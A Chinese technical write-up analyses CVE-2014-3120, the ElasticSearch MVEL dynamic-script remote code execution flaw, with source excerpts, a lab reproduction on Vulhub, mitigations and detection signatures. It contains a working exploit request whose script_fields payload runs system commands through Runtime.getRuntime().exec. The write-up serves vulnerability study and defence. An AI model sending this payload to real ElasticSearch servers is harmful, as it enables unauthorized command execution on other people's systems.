> 技术文档 > CVE-2014-3120源码分析与漏洞复现(ElasticSearch 远程代码执行)

CVE-2014-3120源码分析与漏洞复现(ElasticSearch 远程代码执行)


漏洞概述

漏洞名称:ElasticSearch 动态脚本任意代码执行漏洞
CVE 编号:CVE-2014-3120
CVSS 评分:6.8(中危)
影响版本:ElasticSearch < 1.2.0(1.1.x及更早版本)
修复版本:≥ 1.2.0(默认禁用动态脚本)
漏洞类型:远程代码执行(RCE)
根本原因
ElasticSearch 默认启用动态脚本功能(使用 MVEL 脚本引擎),但未对脚本内容实施沙盒限制,导致攻击者可构造恶意脚本执行任意 Java 代码。


漏洞原理与源码分析

1. 漏洞触发条件

  • 动态脚本功能启用:默认配置允许通过 HTTP API 执行脚本(script_fields 参数)。
  • MVEL 引擎无沙盒防护:脚本引擎未限制危险操作(如 java.lang.Runtime 调用)。
2. 关键源码定位

(1)脚本执行入口:SearchService#parseSource
代码路径org.elasticsearch.action.search.SearchService

 private void parseSource(SearchContext context, BytesReference source) throws SearchParseException { if (source == null || source.length() == 0) { return; } XContentParser parser = null; try { parser = XContentFactory.xContent(source).createParser(source); XContentParser.Token token; while ((token = parser.nextToken()) != XContentParser.Token.END_OBJECT) { if (token == XContentParser.Token.FIELD_NAME) {  String fieldName = parser.currentName();  parser.nextToken();  SearchParseElement element = (SearchParseElement)this.elementParsers.get(fieldName);  if (element == null) { throw new SearchParseException(context, \"No parser for element [\" + fieldName + \"]\");  }  element.parse(parser, context); // 关键漏洞点:执行字段解析器 } else if (token == null) {  break; } } } catch (Throwable e) { String sSource = \"_na_\"; try { sSource = XContentHelper.convertToJson(source, false); } catch (Throwable e1) {}  throw new SearchParseException(context, \"Failed to parse source [\" + sSource + \"]\", e); } finally { if (parser != null) { parser.close(); } } }

漏洞点:未对 script_fields 内容做安全过滤,直接传递给 MVEL 引擎执行。

(2)MVEL 脚本引擎:MvelScriptEngine#execute
代码路径org.elasticsearch.script.mvel.MvelScriptEngine

 public Object execute(Object compiledScript, Map vars) { // 直接执行未沙盒化的MVEL表达式  return MVEL.executeExpression(compiledScript, vars); }

漏洞机制

  • MVEL 引擎支持直接调用 Java 标准库(如 java.lang.Runtime)。
  • 攻击者可通过脚本构造任意 Java 代码:
    \"script\": \"java.lang.Runtime.getRuntime().exec(\\\"id\\\")\" 

(3)请求处理流程

#mermaid-svg-IN6rlAz1jLXxf1GA {font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA .error-icon{fill:#552222;}#mermaid-svg-IN6rlAz1jLXxf1GA .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-IN6rlAz1jLXxf1GA .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-IN6rlAz1jLXxf1GA .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-IN6rlAz1jLXxf1GA .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-IN6rlAz1jLXxf1GA .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-IN6rlAz1jLXxf1GA .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-IN6rlAz1jLXxf1GA .marker{fill:#333333;stroke:#333333;}#mermaid-svg-IN6rlAz1jLXxf1GA .marker.cross{stroke:#333333;}#mermaid-svg-IN6rlAz1jLXxf1GA svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-IN6rlAz1jLXxf1GA .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-IN6rlAz1jLXxf1GA text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-IN6rlAz1jLXxf1GA .actor-line{stroke:grey;}#mermaid-svg-IN6rlAz1jLXxf1GA .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA .sequenceNumber{fill:white;}#mermaid-svg-IN6rlAz1jLXxf1GA #sequencenumber{fill:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA .messageText{fill:#333;stroke:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-IN6rlAz1jLXxf1GA .labelText,#mermaid-svg-IN6rlAz1jLXxf1GA .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-IN6rlAz1jLXxf1GA .loopText,#mermaid-svg-IN6rlAz1jLXxf1GA .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-IN6rlAz1jLXxf1GA .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-IN6rlAz1jLXxf1GA .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-IN6rlAz1jLXxf1GA .noteText,#mermaid-svg-IN6rlAz1jLXxf1GA .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-IN6rlAz1jLXxf1GA .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-IN6rlAz1jLXxf1GA .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-IN6rlAz1jLXxf1GA .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-IN6rlAz1jLXxf1GA .actorPopupMenu{position:absolute;}#mermaid-svg-IN6rlAz1jLXxf1GA .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-IN6rlAz1jLXxf1GA .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-IN6rlAz1jLXxf1GA .actor-man circle,#mermaid-svg-IN6rlAz1jLXxf1GA line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-IN6rlAz1jLXxf1GA :root{--mermaid-font-family:\"trebuchet ms\",verdana,arial,sans-serif;} 攻击者 Search API SearchService MvelScriptEngine MVEL引擎 JVM 发送含恶意脚本的_search请求 解析JSON 传递script_fields 执行未沙盒化代码 调用Runtime.exec() 命令执行结果回显 攻击者 Search API SearchService MvelScriptEngine MVEL引擎 JVM


漏洞复现

环境搭建

1.使用 Vulhub 环境启动漏洞靶机
 docker-compose up -d 

在这里插入图片描述

2.访问访问 http://target:9200,确认服务正常运行

在这里插入图片描述

攻击步骤

首先,创建一个文档:
POST /website/blog/ HTTP/1.1Host: your-ip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 25{ \"name\": \"vulhub\"}

在这里插入图片描述

然后,发送包含恶意MVEL脚本的请求来执行任意命令:
POST /_search?pretty HTTP/1.1Host: your-ip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 343{ \"size\": 1, \"query\": { \"filtered\": { \"query\": { \"match_all\": { } } } }, \"script_fields\": { \"command\": { \"script\": \"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\\\"id\\\").getInputStream()).useDelimiter(\\\"\\\\\\\\A\\\").next();\" } }}

在这里插入图片描述


影响范围与修复方案

1. 受影响版本

ElasticSearch 分支 受影响版本 安全版本 1.1.x ≤ 1.1.2 ≥ 1.2.0 1.0.x 全版本 无官方更新

2. 官方修复方案

  • 禁用动态脚本:在 elasticsearch.yml 中添加:
    script.disable_dynamic: true 
  • 升级至 1.2.0+:默认关闭动态脚本,引入 Groovy 沙盒(需手动开启)。

3. 临时缓解措施

措施 操作步骤 网络隔离 防火墙限制 9200 端口仅允许可信 IP 访问 移除 MVEL 引擎 删除 plugins/lang-mvel/ 目录 最小权限运行 以非 root 用户启动 ElasticSearch(限制命令执行影响)

漏洞启示

  • 默认安全原则:高危功能(如动态脚本)不应默认开启。
  • 沙盒必要性:脚本引擎必须实现严格的沙盒机制(如后续 CVE-2015-1427 因 Groovy 沙盒绕过再次导致 RCE)。
  • 纵深防御:结合配置加固、网络隔离、权限控制降低风险。

参考链接

  1. ElasticSearch 官方通告
  2. CVE-2014-3120 技术分析(阿里云)

附:漏洞请求特征表

检测项 恶意请求特征 请求路径 POST /_search?pretty 关键参数 script_fieldsjava.lang.Runtime 调用 Content-Type application/json 攻击指纹 exec(, Runtime.getRuntime(), Scanner(